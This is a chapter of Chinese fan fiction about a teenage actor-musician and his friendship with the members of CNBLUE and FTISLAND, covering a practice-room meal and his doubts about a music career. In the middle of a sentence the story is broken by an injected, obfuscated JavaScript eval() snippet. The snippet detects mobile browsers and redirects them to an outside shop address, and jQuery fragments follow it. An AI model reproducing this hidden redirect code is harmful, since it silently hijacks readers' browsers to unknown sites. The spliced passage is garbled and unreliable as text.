安岁秋刚推开练习室的门，就被三双眼睛牢牢锁住。


    “解释。”


    郑容和抱着手臂靠在墙边，表情严肃，如果忽略他嘴角沾着的炸鸡碎屑的话。


    姜敏赫盘腿坐在地板上，手机屏幕幽幽亮着，暂停的画面正是那段街头表演视频，他抬眼看过来，嘴角噙着意味深长的笑。


    最要命的是李正信，188的大个子一个箭步跨过来，双手稳稳按住安岁秋的肩膀，声音里满是夸张的痛心。


    “我们安安！用着哥哥们的歌在外面大杀四方！”


    他身形高大，往那儿一站，直接把尚未成年的小豆丁挡了个严严实实。


    “哥，鱼糕要撒了。”


    安岁秋无奈地举了举手里的塑料袋，里面是楼下便利店买的鱼糕串和几瓶饮料。


    姜敏赫笑着接过来，顺手把李正信拉开。


    “让安安喘口气。”


    练习室里弥漫着炸鸡的香气，安岁秋摘下口罩，露出那张在灯光下愈发精致的脸。


    他目光扫过桌上狼藉的外卖盒，三盒炸鸡，一份几乎没动的沙拉，还有一份单独放在旁边、用保温袋包着的石锅拌饭。


    “给你的。”


    郑容和终于绷不住笑了，走过来揉了揉他的头发。


    “知道你吃不了油炸的。这家是新开的店，泡菜是老板自己腌的，尝尝。”


    安岁秋在空位坐下，打开饭盒。


    温热的米饭上铺着嫩黄的煎蛋、炒得喷香的牛肉、翠绿的菠菜、嫩白的豆芽，旁边一小碟泡菜红得鲜亮。他夹起一筷送入口中，泡菜的酸辣与牛肉的鲜甜在舌尖交织。


    “好吃。”


    “那当然，我挑了半小时才选定的店。”郑容和得意地说，随即又板起脸。


    “但这不是重点，视频怎么回事？”


    安岁秋慢条斯理地咽下食物，才开口，“刚好路过，被临时拉上去的。”


    “这么巧？”


    李正信凑过来，眼睛亮得像发现新大陆，“还正好是这首？那段solo我循环了三遍，第二小节那个击勾弦组合……”


    “你什么时候琢磨出来的？”


    “是容和哥上次说可以试试的变奏。”


    郑容和愣了一下，“我什么时候……”


    “半年前，凌晨两点，在工作室。你说原曲的贝斯线在bridge部分可以再大胆一点，我记下来了。”


    安岁秋又吃了一口饭，仿佛在说今天天气不错。


    练习室安静了几秒，李正信第一个笑出声，“所以这是集体创作？那版权费怎么分？”


    “呀！”


    郑容和笑着拍他，“重点是这个吗？”


    姜敏赫笑眯眯地凑近，眼睛弯成月牙，“没想到我们安安这么口是心非啊。”


    “那么久的事还记得清清楚楚，不是说这首歌都听烦了吗？”


    “嗯？不是说再也不想听了吗？”


    安岁秋撇过头，耳根微微泛红。


    “当然听烦了，我改了不下三十版，听你们唱了一百多遍，那段时间连做梦都是这个旋律。”


    郑容和笑着揉了揉弟弟的头发，目光扫过那泛红的耳尖，与姜敏赫交换了一个心照不宣的眼神。


    “哎一古～”他拖长语调，声音里满是笑意。


    “真是辛苦我们的小天才安安了，能写出这么好听的歌……哥哥们得好好谢谢你才对。”


    CNBLUE今年年初才在韩国正式出道。


    在此之前，他们一直在日本以地下乐队的形式积累Live经验，尽管公司早有FTISLAND成功在前，但乐队形式向来不是K-POP的主流选择，他们也并非没有担忧过出道后的反响。


    好在，郑容和与安岁秋投入的心血没有白费，两人共同打磨的出道曲《孤独的人》，仅用十五天便拿下KBS《音乐银行》周榜一位，打破了新人夺冠的最快纪录。


    那段时间，这首歌几乎飘荡在首尔每一条街道。


    安岁秋小口扒着饭，脸颊随着咀嚼微微鼓起，像只偷藏粮食的小松鼠，等完全咽下，他才开口，“明明是容和哥写得更多，要谢也该谢你们自己。”


    姜敏赫默默递上一杯温水，“你和容和哥都该谢。”


    他伸手揉了揉安岁秋的脸，语气里带着疼惜。


    “哎一古，小小年纪就这么老成，小心长白头发。你看容和哥，明显就老了。”


    “？”


    郑容和微笑，“你想死吗？”


    李正信嘴里塞着鱼糕，被烫得嘶哈嘶哈，含糊不清地插话：“安安，你别回春川了呗？”


    “跟我们一起搞乐队怎么样？乐队又没什么年龄限制，你要是不想唱歌，全交给容和哥唱也行嘛！”


    “？”郑容和头上又多了一个问号。


    “要不下次我不唱了，你来当主唱，我去弹贝斯。”


    安岁秋摇摇头。


    “不要，我只把乐队当爱好，不想天天表演。你们一直唱同一首歌，不会烦吗？”


    “是有点啦，不过看到那么多人喜欢我们的音乐不是会很高兴吗？也不会那么烦了，真的很烦，大不了就换首歌好了。”


    “安安。”


    郑容和在他身边坐下，“你真的很喜欢音乐吧？”


    安岁秋低头看着自己手上的薄茧——贝斯弦，吉他弦，鼓棒，这些痕迹从他八岁开始学乐器时就一点点积累，如今已经成为皮肤的一部分。


    “但是喜欢和当成职业，是两回事。”


    “我喜欢汉江边一个人弹琴，喜欢在工作室写歌到天亮，喜欢和你们一起jam的时候突然找到灵感……”


    “但我不喜欢每天唱同一首歌，跳同一支舞，说一样的话。”


    他顿了顿，声音更轻， “我不想变成商品。”


    这话太重，砸在地上几乎有回声，李正信张嘴想说什么，被姜敏赫按住了手。


    郑容和沉默了很久，久到安岁秋以为他生气了，才听见他轻声开口， “我知道。”


    “哥……”


    “我真的知道。”


    郑容和笑了，笑容里带着些苦涩，“你以为我们在日本表演没想过这些？”


    “一首歌翻来覆去演几百遍，为了生计接不喜欢的商演，看着观众来了又走……有时候半夜练完琴，对着汉江发呆，会问自己到底在坚持什么。”


    他看向安岁秋，眼神很认真，“但后来我发现，重要的不是‘变成什么’，而是‘通过它表达什么’。”


    “就像《孤独的人》能打动那么多人，不是因为它多完美，而是因为写它的时候，我真的……很孤独。想把那种感觉说出来。”


    安岁秋怔怔地看着他。


    “所以……”


    郑容和拍了拍他的肩，“如果你找到了想表达的东西，用什么方式都不重要。”


    “演员也好，乐手也好，制作人也好——重要的是，别让那份热情死了。”


    姜敏赫适时岔开话题，语气轻松，“我们安安还小呢，急什么。先好好上学，多谈几场恋爱——”


    “敏赫哥！”


    “我说真的！你长这么好看，不去祸害……不是，不去体验一下青春多浪费！”


    李正信已经切换到兴奋模式，“对对对！我们安安这张脸，去学校肯定很受欢迎！有没有女生给你递情书？有没有？”


    安岁秋耳根瞬间烧红，“没有。”


    “我不信！”


    “真没有。”他低头扒饭，“我都戴口罩。”


    “那是暴殄天物！”李正信痛心疾首。


    话题就这样被带偏了，等安岁秋吃完最后一口饭，哥哥们已经开始讨论下周的演出服配色，吵着要不要试试绿色系——


    “跟安安的贝斯配一套！”


    “可是那更像蓝色吧！”


    安岁秋安静地收拾饭盒，把垃圾分类装好。


    他犹豫了一下，最终选择将今天街头演奏后那段小插曲暂时瞒下。


    第六感告诉他，如果让这几个哥哥知道自己收了别家公司的邀约，恐怕会被这群人念叨到耳朵起茧，再想到还在日本的FTISLAND那几位……


    哇，要是这群人聚到一起，他大概会被声浪淹没。


    彼时的他还不知道，未来竟会遇到比这更热闹更能吵的阵容。


    窗外，首尔夜景如星河倾泻。


    薄荷绿色的贝斯静静靠在墙角，在昏暗光线里泛着幽微的光泽。手机又震了一下，这次是李弘基发来的语音消息：


    “安安！下个月我们回首尔！给你带礼物！想要什么？”


    安岁秋想了想，指尖在屏幕上轻敲，「哥平安回来就行。」


    「哇我们安安太懂事了！等着！」


    安岁秋放下手机，打开电脑。


    他打算在离开前为FTISLAND的哥哥们留下一首歌。


    李弘基因为他只给CNBLUE写了歌，已骚扰他半年有余，可这也没办法，他接触创作才多久？


    能有一首完整的作品已属难得，连他自己都想夸一句“小天才”的程度。


    戴上耳机，安岁秋点开命名为《HELLO HELLO_v13》[1]的工程文件，按下播放键。


    动感的吉他前奏流淌而出，这是他自己弹奏并录制的。接着鼓点加入，虽用的是电子音色，但编排上极力模仿真鼓的动态与呼吸感。


    安岁秋最初是以“未成年演员”的身份与FNC签下三年合约的。


    在此之前，他收到过不少星探的邀约，从声名显赫的三大社到名不见经传的小公司，递来的橄榄枝无一例外都是“练习生”。


    他并非不喜欢偶像，只是不喜欢“成为偶像”。


    那些被层层包装的精致人偶，完


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394851|200357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    美却缺乏鲜活的生命力，他不愿被束缚在这样的既定框架里。


    他喜欢贝斯，喜欢电吉他，喜欢架子鼓，喜欢唱歌，也喜欢跳舞——但他不喜欢被限制的音乐。


    所以当FNC递来一张演员合约时，他产生了好奇，他想试试自己在这条未知的路上能走多远，于是果断签下三年合约。


    不长不短，足够他体验演员生活并做出判断。


    作为公司第一位未成年演员，一切都需他自己摸索，新鲜感与挑战并存，安岁秋有信心能做好。


    半年后，演技老师对他的表现赞不绝口，寄予厚望，然后，他就莫名其妙多了两个“大跟班”。


    李弘基与郑容和因为要准备《原来是美男》[2]的拍摄，成了安岁秋的隔辈同学。


    安岁秋曾一度以为这两人是亲兄弟——长得像，性格像，嗓音像，总是一起行动，还都能面不改色地喊他“小前辈”，恶趣味如出一辙。


    两人动不动就拉着这位“小前辈”一起吃饭、练习，连带着已出道的FTISLAND和待出道的CNBLUE，都与他熟络起来。


    FNC没有培养未成年练习生出道的惯例，现有的练习生多是高中生以上，为乐队选拔准备。


    于是，一群精力过剩的哥哥们，不约而同地将魔爪伸向了全公司唯一的小豆丁。


    安岁秋简直是理想的乖巧弟弟模板，十二三岁时脸上还带着婴儿肥，白白净净，精致得像个小姑娘。哥哥们动不动就被萌得捂心口，到后来甚至排班轮流接送他上下学。


    安岁秋一度怀疑这群人把泛滥的父爱全倾注到了自己身上——


    明明才二十出头，怎么一个个跟老父亲似的？精力这么旺盛，怎么不去多写几首歌？搞乐队的人都这么闲吗？


    事实证明，并非如此。


    李弘基当初为在剧中演好鼓手，额外花了大量时间练习架子鼓。


    他的定位是乐队主唱兼吉他手，鼓技只算基础，虽然拍摄不要求多么高超的技巧，但至少镜头前要像个熟练且有气势的鼓手。


    那天安岁秋只是想喊李弘基去吃饭，他听见练习室的鼓声便走了进去，没忍住指点了几句。


    架子鼓他练了六年，总归比对方娴熟些。


    然后，局面便一发不可收拾了。


    “你还会夹子鼓？！”


    安岁秋这才想起，自己从未主动提起过这事，他平时总是独自找时间练习，这么算下来，双方还从未在演奏时碰过面。


    现在回想起来，安岁秋简直想敲醒当时的自己。


    怎么就能那么毫无防备地被哄着把各种乐器试了个遍？


    难道看不出那群可恶的大人眼里闪烁的不怀好意吗？


    安岁秋对自己的乐器水准确有信心，这是否意味着他想加入哥哥们的乐队？


    那大可不必。


    他还不想给自己未成年的肩膀上再加上一个重担。


    可惜命运是改变不了的，哥哥们饶过了他，但是老师们没有饶过他，那年的监控虽然还不发达，但也不是摆设。


    安岁秋眼睁睁看着自己的课程表上，被迫增加了作曲编曲课，本就忙于学业与拍戏的初中生，日子过得更加充实。


    好消息是他很有天赋。


    坏消息是他很有天赋。


    于是，苦命的初中生一边要应付课业，一边还要辗转于片场，课余时间还得学习写歌与制作。


    安岁秋不是没想过摆烂，但骨子里的认真劲儿推着他——


    既然做了，就要尽力做好。


    再三确认已保存好最新版本后，他暂时关闭了电脑屏幕。


    哎，可惜，世间没有那么多如果。


    这是第一首完全由他独立完成的歌。


    不是零散的片段，不是只有beat的伴奏，而是作词、作曲、编曲全由自己包办的完整作品。


    创作期间，除了向老师请教修改意见，他没给任何人听过，CNBLUE的哥哥们不知情，更别说远在日本的FTISLAND了。


    既然是礼物，总不能写得太差。


    音乐播到bridge部分，他皱起眉，歌词确实拗口，太刻意了。


    删掉，重写，又删掉。


    窗外的城市灯光映在屏幕上，模糊了音符与文字的边界。


    ------------------------


    参考文献：


    [1]金道勋,李尚浩(曲); 韩成浩,马里奥(词). Hello Hello[CD]．FTISLAND, Return. 首尔, FNC Entertainment, 2011-05-24.


    [2]洪成昌(导), 洪静恩,洪美兰(编). 原来是美男啊[TV]. 李弘基(饰Jeremy), 郑容和(饰姜新禹). 首尔, SBS, 2009-10-07.